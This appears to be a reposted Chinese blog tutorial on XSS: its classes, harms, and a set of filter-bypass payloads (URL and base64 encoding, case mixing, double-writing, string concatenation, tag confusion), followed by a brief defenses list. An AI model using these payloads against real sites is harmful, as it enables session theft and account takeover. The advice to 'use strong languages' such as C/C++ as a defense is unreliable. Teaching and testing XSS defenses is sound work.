XSS的产生,利用与防御

Posted 送终

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS的产生,利用与防御相关的知识,希望对你有一定的参考价值。

XSS的产生,利用与防御

本文部分参考:

https://www.jianshu.com/p/4fcb4b411a66

XSS漏洞常年位列OWASP TOP10。属于web应用程序中常见的一种漏洞。

二:XSS漏洞的分类。XSS漏洞分为存储型,反射性和DOM型。

XSS漏洞的简介:跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有:

echo printf print print_r sprintf die var-dump var_export

XSS的危害:

1.窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。

2.窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。

3.网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。

4.发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。例如当年的微博xss蠕虫,参考:

https://www.cnblogs.com/yjf512/archive/2012/03/08/2385093.html

反射型:反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。 反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。(只要是有框的地方就可能存在反射型漏洞)

存储型(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。

此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。
持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
DOM型:
DOM-basedXSS漏洞是基于文档对象模型(Document Object Model)的一种漏洞。这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。
在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞,如
document.getElementByld(“x’).innerHTML、document.write)等。
(小声逼逼:DOM型我是真的不熟,上面解释参考):

https://blog.csdn.net/lay_loge/article/details/90440207
最常用的一条语句:

<script>alert("XSS")</script>

如果语句没有被执行或者显示错误,说明网站可能对字符进行了过滤,我们这时候需要进行绕过。

常见的绕过方式:编码绕过,大小写绕过,双写绕过,字符拼接,过滤空格,字符混淆绕过。

编码绕过,由于实在是有点多,这里就拿url编码绕过和base64绕过做演示

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

大小写绕过:

<ImG sRc=x onerRor=alert("xss");>

双写绕过:

<imimgg srsrcc=x onerror=alert("xss");>

字符拼接绕过:

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

过滤空格绕过:


```cpp
<img/src="x"/onerror=alert("xss");>

字符混淆绕过:

1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\\\";alert("xss");//";</SCRIPT>

 

 XSS漏洞的防御:

 1.对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号

2.使用强语言,例如java、.NET、C/C++。

 3.使用HTTP头指定类型


以上是关于XSS的产生,利用与防御的主要内容,如果未能解决你的问题,请参考以下文章

如何正确防御xss攻击

安全测试 - CSRF攻击及防御

CSRF攻击与防御原理

CSRF漏洞攻击原理及防御方案

技术干货 | CSRF攻击原理以及防御

用代码来细说Csrf漏洞危害以及防御